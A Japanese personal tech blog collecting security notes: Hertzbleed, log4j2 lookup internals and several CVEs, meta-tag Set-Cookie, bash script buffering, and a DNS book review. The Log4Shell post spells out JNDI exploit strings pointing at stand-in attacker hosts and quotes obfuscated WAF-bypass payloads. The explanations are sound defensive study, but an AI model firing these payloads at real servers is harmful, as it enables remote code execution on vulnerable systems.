てきとうなメモ

本の感想とか技術メモとか

HertzBleed Attack

Hertzbleed Attack

CPUの脆弱性で大きな話かなと思って論文少し読んでみた。が、Q&Aに書かれている通り、すぐに心配すべきものではないという感想。

Should I be worried?

If you are an ordinary user and not a cryptography engineer, probably not: you don’t need to apply a patch or change any configurations right now. If you are a cryptography engineer, read on. Also, if you are running a SIKE decapsulation server, make sure to deploy the mitigation described below.

どんな脆弱性なのか

IntelAMDの最近のCPUには消費電力が高いとCPUの周波数を減らし、消費電力が低いと周波数を増やすという機能がある。この機能によって、秘密データに依存してある処理の消費電力が変化する場合、周波数も変化するため、処理時間が変化する。この処理時間の変化を観測することによって秘密データを推測することができるかもという脆弱性

AMDはCVE-2022-23823、IntelはCVE-2022-24436として採番されている。

この攻撃方法のメリット

電力消費の変化から秘密データを推測するという手法はこれまでもあった。しかし、攻撃対象に物理的なアクセスが必要だったり、CPUの電力消費量取得インターフェースにアクセスするために権限が必要だったりして、攻撃することが難しかった。しかし、今回の攻撃方法は処理時間を計測するので、リモートから攻撃できる可能性がある。

また、処理時間の変化から秘密データを推測するという手法(タイミング攻撃)はこれまでもあったが、プログラミングで処理速度を一定にするという対策方法があった。ただし、処理速度を一定にするとは、その処理のクロックサイクル数を一定にすることを指していた。

HertzBleed Attackでは、クロックサイクル数が一定でも電力消費の変化により周波数が変化する。そして、処理時間はクロックサイクル数/周波数で計算されるので、クロックサイクル数が固定でも処理時間は変化する。よってクロックサイクル数一定の処理による対策をバイパスすることができる。

論文ではどのような秘密データを解読できたのか

論文ではSIKEのKEMのdecapsulation処理における秘密鍵を解読している。

実装としてはCloudflareのCIRCL(Cloudflare’s Interop- erable Reusable Cryptographic Library)やMicrosoftのPQCrypto-SIDHを用いている。

decapsulation処理をするHTTPサーバ(CIRCL)、TCPサーバ(PQCrypto-SIDH)を攻撃対象として用意して、リモートからタイミング攻撃を仕掛けることで、36時間(CIRCL)、89時間(PQCrypto-SIDH)で解読している。

SIKEって何?

よく知らないが、Supersingular Isogenyを用いたkey encapsulation suiteとのこと。NISTの耐量子暗号のコンペティションに残っているようだ。

KEMって何?

非対称鍵暗号(公開鍵暗号)は対称鍵暗号と比べて一般的に処理が遅いので、最初に非対称鍵暗号を用いて対称鍵暗号のセッション鍵を共有して、実際の通信はそのセッション鍵で暗号化することが多い。KEM(Key Encapsulation Mechanism)はその非対称鍵暗号で対称鍵暗号のセッション鍵を送る仕組み。

SIKEに対してどのように電力消費の差を生み出して、攻撃することができるのか?

まず、CPUの特性として、計算時のハミング距離(ビットが0→1や1→0に変化した数)やハミング重み(ビットが1の数)が大きいほど電力消費が大きいというのがある。

SIKEへの攻撃では、このうちハミング重みの方を用いている。

SIKEのdecapsulation処理では、秘密鍵のi番目のビットとi-1番目のビットが異なる場合、計算結果が途中からずっと0になる、というような特殊な暗号文を入力することができる。そうするとハミング重みが小さくなるため、消費電力が下がり、周波数が上がり、処理時間が速くなる。この処理時間の変化を用いて秘密鍵を1ビットずつ推測していくことで、秘密鍵の解読に成功している。 (だいぶ省略した説明)

SIKE以外は攻撃できるか?

公式サイトには以下のように書かれている。

Is my constant-time cryptographic library affected?

Affected? Likely yes. Vulnerable? Maybe.

Your constant-time cryptographic library might be vulnerable if is susceptible to secret-dependent power leakage, and this leakage extends to enough operations to induce secret-dependent changes in CPU frequency. Future work is needed to systematically study what cryptosystems can be exploited via the new Hertzbleed side channel.

個人的にも以下のような条件が必要だと思うので、個々の暗号において、この手法を用いて攻撃できたという話が出てくるまでは、何とも言えない気がする。

  • 秘密データに依存して消費電力が変化しないといけない
  • 消費電力の変化→周波数の変化→処理時間の変化が判別できるほど大きくなければならない
  • 処理時間が変化として判別できる単位のインターフェースを外部公開していないといけない(SIKEの例で言うと、decapsulation以外の処理を含めた処理を公開しているのであれば、decapsulation以外の処理の電力消費によってdecapsulationの電力消費の情報が隠れてしまう可能性がある)

log4j2のlookupの変数展開シンタックス

変数展開シンタックス

CVE-2021-44228の件でLookupにおける変数展開をどうしているのか気になったので、StrSubstitutor.substituteの辺りを読んでみた。

${...}となっている部分のシンタックスは以下のようになっている。

${varName}
${varName:-varDefaultValue}
${varName:\-comment:-varDefaultValue}

varNameは変数名。commentは無視される。varDefaultValueはvarNameをlookupした結果がnullだった場合の値である。

varDefaultValueが設定されていない場合、変数展開はされず、そのままの文字列のままになる。

例えば、

${::-j}

は、「:」がvarName、jがvarDefaultValueになり、:はlookupできないため、デフォルト値のjに展開される。

varNameは以下のようにprefixとnameに分かれる。

prefix:name

prefixはどのLookupを使うのかのkeyになる。jndiだったらJndiLookup、lowerだったらLowerLookupのコードが実行される。InterpolatorでどのprefixがどのLookupを使うかを管理している。

さらに、この変数展開は入れ子再帰をサポートしている。

入れ子は以下のようなものである。

${${x}}

${x} = y, ${y} = z であれば、これはzに展開される。

再帰は次のようなものである。

${x} = ${y}, ${y} = zであれば

${x}

はzに展開される。

CVE-2021-45105

再帰に関してはv2.14.1の時点でもStrSubstitutor.checkCyclicSubstitutionで無限に再帰するのをチェックしている。再帰呼び出しをするときに変数名を保持し、同名の変数名の展開になった場合に例外を出力している。

しかし、入れ子の処理における再帰呼び出しの場合は変数名を保持して再帰呼び出しをしていない。そのため、CVE-2021-45105の脆弱性が発生していた。

${x} = ${${x}}としておくと、無限に変数展開されていく。同名の変数を利用しているのだが、入れ子の処理の再帰呼び出しでは前回展開した変数名を保持していない。そのため、無限に再帰呼び出しが実行され、スタックが枯渇し、DoS攻撃が可能となっていた。

この脆弱性はv2.17.0で解消している。

metaタグによるSet-Cookie

metaタグでSet-Cookieできる(できた)ことを知らなかった。

<meta http-equiv="Set-Cookie" content="sessionid=xxxxx">

metaタグをインジェクト可能な脆弱性が存在すると攻撃者がcookieを設定させることができてしまう。

ただ、現行のHTML Living Standardによると

HTML Standard

Set-Cookie state (http-equiv="set-cookie") This pragma is non-conforming and has no effect.

User agents are required to ignore this pragma.

となっているのでユーザエージェントは無視しないといけない。

試してみると以下のようにIE以外は無視しているようだ。

ブラウザ バージョン Set-Cookieできる?
IE 11 o
Edge 97 x
Chrome 96 x
FireFox 95 x
Safari 15 x

bashのスクリプト読み込みの動き

www.iimc.kyoto-u.ac.jp https://www.iimc.kyoto-u.ac.jp/services/comp/pdf/file_loss_insident_20211228.pdf

bash は、シェルスクリプトの実行中に適時シェルスクリプトを読み込みます。この挙動によ る副作用を認識できておらず、実行中のスクリプトが存在している状態でスクリプトの上書きに よりリリースしてしまったことで、途中から修正したシェルスクリプトの再読み込みが発生し、 結果的に未定義の変数を含む find コマンドが実行されてしまいました。この結果、本来のログ ディレクトリに保存されたファイルの削除をする処理ではなく、/LARGE0 のファイルを削除し てしまいました

これは怖い。ただ、スクリプト含めソフトウェアの実行中にソフトウェアをアップデートするのは、うまくいくかもしれんが怖いのでやらないという認識かなあ。

で、bashの場合1行ずつ読み込んでいるの?バッファしていないの?という部分が疑問だった。

以下の記事を見ると、スクリプト実行途中で再読み込みが発生してるっぽい

qiita.com

で、ちょっと調べてみた。

以下で調べている方がいて、だいたい似たような話になる。

(vimの設定に気づいておらず、記事を見るまで現象を再現できなかった。感謝) zenn.dev

結論としてバッファは使っている。input.cの以下の変数にファイルディスクリプタをインデックスにした配列として保存している

static BUFFERED_STREAM **buffers = (BUFFERED_STREAM **)NULL;

バッファをメモリ上に確保しているのは以下。

BUFFERED_STREAM *
fd_to_buffered_stream (fd)
     int fd; 
{
  char *buffer;
  size_t size;
  struct stat sb; 

  if (fstat (fd, &sb) < 0)
    {   
      close (fd);
      return ((BUFFERED_STREAM *)NULL);
    }   

  size = (fd_is_seekable (fd)) ? min (sb.st_size, MAX_INPUT_BUFFER_SIZE) : 1;
  if (size == 0)
    size = 1;
  buffer = (char *)xmalloc (size);

  return (make_buffered_stream (fd, buffer, size));
}

バッファを確保する時にファイルのサイズ(sb.st_size)とMAX_INPUT_BUFFER_SIZEの小さい方を設定してxmallocしている。MAX_INPUT_BUFFER_SIZEは8kぐらい。

この値がBUFFERED_STREAMのb_sizeとして保存される。実際にスクリプトを読み込む時にb_fill_bufferでzreadを呼び、zread(lib/sh/zread.c)はread(2)を呼び、読み込むサイズとしてb_sizeが指定される。

static int
b_fill_buffer (bp)
     BUFFERED_STREAM *bp;
{
...
  nr = zread (bp->b_fd, bp->b_buffer, bp->b_size);

b_fill_bufferはこんな感じのスタックで呼ばれる

#0  b_fill_buffer (bp=0x771790) at input.c:494
#1  0x000000000047ccb2 in buffered_getchar () at input.c:576
#2  0x0000000000428046 in yy_getc () at /Users/chet/src/bash/src/parse.y:1422
#3  0x0000000000428f9d in shell_getc (remove_quoted_newline=1) at /Users/chet/src/bash/src/parse.y:2358
#4  0x000000000042a819 in read_token (command=0) at /Users/chet/src/bash/src/parse.y:3290
#5  0x0000000000429cc8 in yylex () at /Users/chet/src/bash/src/parse.y:2797
#6  0x0000000000424b85 in yyparse () at y.tab.c:1835
#7  0x0000000000424725 in parse_command () at eval.c:347
#8  0x0000000000424807 in read_command () at eval.c:391
#9  0x00000000004241ee in reader_loop () at eval.c:138
#10 0x0000000000421cf4 in main (argc=2, argv=0x7fffffffe108, env=0x7fffffffe120) at shell.c:811

ただ、このままだと8Kもしくはファイルサイズだけバッファしているので、小さなスクリプトだと更新した情報を読み込まないのでは?しかし、デバッグしていると読み込んでいる。何か変な動きをしていて、どこかでファイルディスクリプタのオフセットが戻っているように見えるが、それがどこなのかわからなかった。

こちらの方のツイートで謎が解けた。外部コマンドを実行時にsync_buffered_stream内でlseek(2)して、ファイルディスクリプタのオフセットを外部コマンドの行の後に設定しているということがわかった。

/* Seek backwards on file BFD to synchronize what we've read so far
   with the underlying file pointer. */
int
sync_buffered_stream (bfd)
     int bfd;
{
  BUFFERED_STREAM *bp;
  off_t chars_left;

  if (buffers == 0 || (bp = buffers[bfd]) == 0)
    return (-1);

  chars_left = bp->b_used - bp->b_inputp;
  if (chars_left)
    lseek (bp->b_fd, -chars_left, SEEK_CUR);
  bp->b_used = bp->b_inputp = 0;
  return (0);
}

b_usedがBUFFERED_STREAM上で有効なサイズ、b_inputpがBUFFERED_STREAM上でこれまで読み込んだインデックスなので、外部コマンドの後ろにファイルディスクリプタのオフセットが移動する

このときのスタックはこんな感じ。

#0  sync_buffered_stream (bfd=255) at input.c:557
#1  0x000000000045730e in make_child (command=0x7726d0 "sleep 5", flags=0) at jobs.c:2171
#2  0x0000000000443eb4 in execute_disk_command (words=0x771c90, redirects=0x0, command_line=0x772650 "sleep 5", pipe_in=-1, pipe_out=-1, async=0, fds_to_close=0x7719d0,
    cmdflags=0) at execute_cmd.c:5507
#3  0x0000000000442799 in execute_simple_command (simple_command=0x771910, pipe_in=-1, pipe_out=-1, async=0, fds_to_close=0x7719d0) at execute_cmd.c:4668
#4  0x000000000043b76f in execute_command_internal (command=0x7718d0, asynchronous=0, pipe_in=-1, pipe_out=-1, fds_to_close=0x7719d0) at execute_cmd.c:845
#5  0x000000000043acbd in execute_command (command=0x7718d0) at execute_cmd.c:395
#6  0x00000000004242f7 in reader_loop () at eval.c:170
#7  0x0000000000421cf4 in main (argc=2, argv=0x7fffffffe108, env=0x7fffffffe120) at shell.c:811

さらに、sync_buffered_streamの中ではb_usedとb_inputpが0に設定され、外部コマンドの後ろは読み込んでいないことになるので、次に1文字読み込もうとした時、バッファからは取得せずに、b_fill_bufferが実行されファイルをreadすることになる。

log4j2の脆弱性(CVE-2021-44832)

「Apache Log4j」にまたRCE脆弱性 ~修正版のv2.17.1などが公開 - 窓の杜

Log4j – Apache Log4j Security Vulnerabilities

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

またRCE脆弱性が出てたのだけども、JDBC Appenderを利用していて、攻撃者がその設定を変更可能な場合のみなので、問題になるケースは少なそう。

対応する場合は、v2.17.1/v2.12.4/v2.3.2にアップデートする

Refactor to reuse existing code. · apache/logging-log4j2@05db5f9 · GitHub

↑の修正内容を見るに、JDBC AppenderではこれまでJndiManagerを通さずに直接JNDIのlookupメソッドを実行していたようだ。v2.16.0の修正でJndiManagerにまとめようとしていたはずなので、そこから漏れたのかな。

あと、プロパティにlog4j2.enableJndiJdbc(JDBC AppenderにおけるJNDIを有効にするかどうか)が追加されたようだ

log4j2の脆弱性(CVE-2021-44228)

少し調べたのでメモ

概要

外部からの入力をlog4jでそのままログ出力しようとすると、任意のコードを実行できる脆弱性

CVE-2021-45046とv2.16.0について

v2.15.0で修正されたかに見えたが、MessagePatternConverter以外の攻撃経路が見つかった。そのため、v2.16.0へのアップデートが推奨される。formatMsgNoLookupsや%m{nolookups}では防げない経路なので、これらによる対策も不十分である。

v2.16.0ではJNDIの機能そのものをデフォルトでオフにして、メッセージ内のLookup機能は削除されている。

ただし、v2.15.0のデフォルト設定でJNDIへのアクセスはlocalhost等の自身へのアクセスに限られているので、危険度は低い localhostのbypass手段が見つかったようだ。そのため、Lookup可能な経路で攻撃されるとJNDI Injectionで外部のLDAP等に接続することができる模様。

攻撃経路については、以下の部分を参照。

Log4j – Apache Log4j Security Vulnerabilities

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

 

The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.

攻撃方法

  1. 攻撃者が攻撃対象のサービスのログを出力してそうなところに${jndi:ldap://attacker.com/a}みたいな入力を入れる
  2. 攻撃対象のサーバはこの入力をログに出力しようとする。log4jの機能で${jndi:ldap://attacker.com/a}を変数展開しようとして、attacker.comにLDAPでアクセスする。
  3. attacker.comは攻撃者の管理するホストで、そのLDAPサーバはJavaのReferenceオブジェクト(をシリアライズしたもの)を返す。Referenceオブジェクトはhttp://attacker2.com/B.classのような参照先を含む
  4. 攻撃対象のサーバは参照先のB.classをロードしてオブジェクトを生成しようとする。この時、Bクラスのstaticブロックが実行される。

何が影響するか

以下の条件に当てはまるソフトウェア(Webアプリを想定しがちだが、Java製でlog4jを利用して外部入力を受け取ってログに吐いているなら該当する)

  • log4jの 2.0-beta9〜2.14.1を利用(v2.15.0も攻撃可能なケースがある)
  • Java 6u211、7u201、8u191、11.0.1未満を利用
  • 外部入力をそのままログ出力している

(追記:2021/12/15 7:33) v2.15.0においても、デフォルトの設定でJNDIを実行できる経路が見つかったので、v2.15.0もある程度影響がある。ただし、v2.15.0デフォルトでlocalhostにしかアクセスできないので、危険性は低い

影響のあるサービス、アプリ

以下でリストアップしているっぽい。

GitHub - YfryTchsGD/Log4jAttackSurface

(追記: 2021/12/12 18:55)

あくまでJndiLookupの実行までの確認で、RCEまで実行できるかは別ものだと思われる。

${jndi:ldap://xxx.dnslog.cn/a}を入力して、対象サーバにldap://xxx.dnslog.cn/aにアクセスさせて、xxx.dnslog.cnの名前解決をさせて、xxx.dnslog.cnに名前解決があったことを記録するのだと。

1.xは影響があるのか

ITMediaの記事で1.xもと書かれてあった。

「やばすぎる」 Javaライブラリ「Log4j」にゼロデイ脆弱性、任意のリモートコードを実行可能 iCloudやSteam、Minecraftなど広範囲のJava製品に影響か - ITmedia NEWS

この脆弱性の影響があるのは、Log4jのバージョン2.0から2.14.1までと当初みられていたが、Log4jGitHub上の議論では、1.x系も同様の脆弱性を抱えていることが報告されている。対策には、修正済みのバージョンである2.15.0-rc2へのアップデートが推奨されている。

しかし、1.xにはJndiLookupの機能がないので、今回の脆弱性は存在しないと考える。

(追記) JMSAppenderの話っぽい

Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub

If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input

JMSAppenderを利用していて、TopicBindingName/TopicConnectionFactoryBindingNameに攻撃者のLDAPのURLを設定できれば同様のことが可能なのだが、これにはlog4jの設定ファイルを攻撃者が修正可能であるという前提が必要。

さすがにこれを持って1.xも同様の脆弱性があるとするのは違うのではと思う。

原因

log4jにJndiLookupの機能がありデフォルトで有効になっていたことと、JavaにJDNI Injectionの脆弱性があったことの合わせ技。

JndiLookup

log4j2からLookupという機能が追加された。

これは変数を展開する機能で、例えば${env:USER}という文字列はUSER環境変数の値に展開される。

JndiLookupはLookupの1つで、${jndi:xxxx}という変数をJNDIでxxxxをlookupした値に展開する.この時のJNDI Injectionが利用されて、任意のコードが実行される。

Lookupの動きは、MessagePatternConverter→StrSubstitutor→Interpolator,各種Lookupという流れでコードを読むとなんとなく理解できる。

JNDI Injection

詳しくはこちらを参照。

JNDIはJavaの名前解決、ディレクトリサービス機能であり、LDAPRMI、CORBAなどに統一的なインターフェースでアクセスすることができる。

ctx.bind(name, value); // ctxはjavax.naming.Context

で名前に対する値を保存でき

Object value = ctx.lookup(name);

で、名前を指定して、値を取得することができる。値はJavaのオブジェクトを指定でき、LDAPにもシリアライズした形で保存される。

さらに、JNDIにはReferenceというクラスがあり、保存するオブジェクトのファクトリクラスをディレクトリサービスとは別の場所に保存して参照する仕組みがある。この参照先にhttp://attacker2.com/B.classなどを指定すると、lookupする時にB.classをロードしようとしてクラスBのstaticブロックが実行されるというものである。

この問題に関しては、6u211、7u201、8u191、11.0.1 で修正が入ったため、新しいJavaのバージョンでは攻撃できない。 今回攻撃されたのは、これら未満のバージョンを利用していたのだと思われる。

リンク先にはRMIやCORBAでの攻撃方法も紹介されている。

対策

log4jを修正版のv2.15.0v2.16.0にアップデートする

一番正攻法。

(追記:2021/12/15 7:33) v2.15.0でもJNDIを実行可能な経路があるため、v2.16.0にアップデートした方が良い

formatMsgNoLookups=trueにする

JVM起動時に-Dlog4j2.formatMsgNoLookups=trueにしたり環境変数LOG4J_FORMAT_MSG_NO_LOOKUPSをtrueにしてJVMを起動する。

v2.10.0以上の場合のみ有効。Lookupの機能がオフになる。

(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない

%mを%m{nolookups}に変更する

log4jの設定ファイルで、%mと書いている部分を%m{nolookups}に変更する。

Pattern(log4jでどのようなフォーマットでログを出力するかを指定する部分)の%m(ログ出力メソッドに渡した文字列引数の値)でLookupを実行しないようにしている。

v2.7.0以上の場合のみ有効。

(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない

Javaをアップデートする

6u211、7u201、8u191、11.0.1以上にすると、今回の攻撃に利用されるJNDI Injectionができなくなる。

ただし、8u191以上でも攻撃可能な方法があるようだ。

ただ、リンク先の記事はTomcatが対象であり、Tomcatで攻撃可能な部分(BeanFactoryとELProcessor)を利用して攻撃しており、今回のような攻撃者が作成したクラスファイルを指定する方法とは異なる。攻撃対象にELProcessorのようなevalの機能があるクラスがないとうまくいかないと思われる。

(追記:2021/12/16 07:16) Tomcat以外にも攻撃可能な方法が見つかっているようなので、これも推奨できない

log4jのjarファイルからJndiLookup.classを削除する

JndiLookupの機能を強制削除できるので有効であるが、例外が発生すると思うので、その時どうなるかは検証する必要がある。

WAFを利用する

WAFで${jndi:xxx}のような入力をブロックするという方法はある。

AWSではWAFのルールが追加されたようである。

Log4jの脆弱性対策としてAWS WAFのマネージドルールに「Log4JRCE」が追加されました | DevelopersIO

ただし、以下のようなBypass方法はある模様。AWSで対応しているかどうかは不明。

GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

lower:は文字列を小文字に変換するLookup。あとは、Javaのバージョンが古いとLDAPではなくRMIのサーバを利用して攻撃可能ということかな。

FireWallLDAP等のアクセスを防ぐ

根本的な解決策ではないので、あまり推奨しない。

また、外部入力からLDAPサーバのポートは指定可能なので、ポートではなくアプリケーションプロトコルを見てブロックする必要がある。

log4j 2.15.0における修正

以下の2つがメインかな。

こんな感じの修正が入っている。

  • デフォルトでメッセージ内のLookupをしないようにした
    • %m{lookup}でlookupするようになる
    • formatMsgNoLookupsの指定もできなくなった
  • JndiLookupを制限
    • プロトコルを制限
      • デフォルトでjava/ldap/ldapsに制限
      • その他のプロトコルを使いたい場合はlog4j2.allowedJndiProtocolsに指定する
    • LDAPにアクセスする場合のホストの制限
      • デフォルトでローカルのホスト名とIPアドレス(ex. localhost, 127.0.0.1)に制限
      • その他のホストにアクセスする場合はlog4j2.allowedLdapHostsに指定する
    • LDAPからJavaのオブジェクトを取得する場合のクラスの制限
      • デフォルトでJavaのプリミティブなクラス(ex. Integer, Double, String)に制限
      • その他のクラスのオブジェクトを取得する場合はlog4j2.allowedLdapClassesに指定する
    • LDAPからReferenceは取得しない

参考

CVE-2021-44228について

JNDI Injectionについて

DNSがよくわかる教科書

DNSの知識が足りていない気がして教科書的なものを読んでみたくなって、読んでみた。

DNSの基本的な仕組みから、DNSSECやQNAME minimisation、DNS over TLSDNS over HTTPSなどセキュリティやプライバシーを考慮した拡張仕様の話など一通り書かれてあった。 JPRSの人が書いているので、JPドメインの管理運用みたいな話も書かれているのが、特徴的な気がする。

ただ、やはり入門書であって各仕様の詳細については書かれていないので、そのあたりはRFCを読んでいかないといけないな。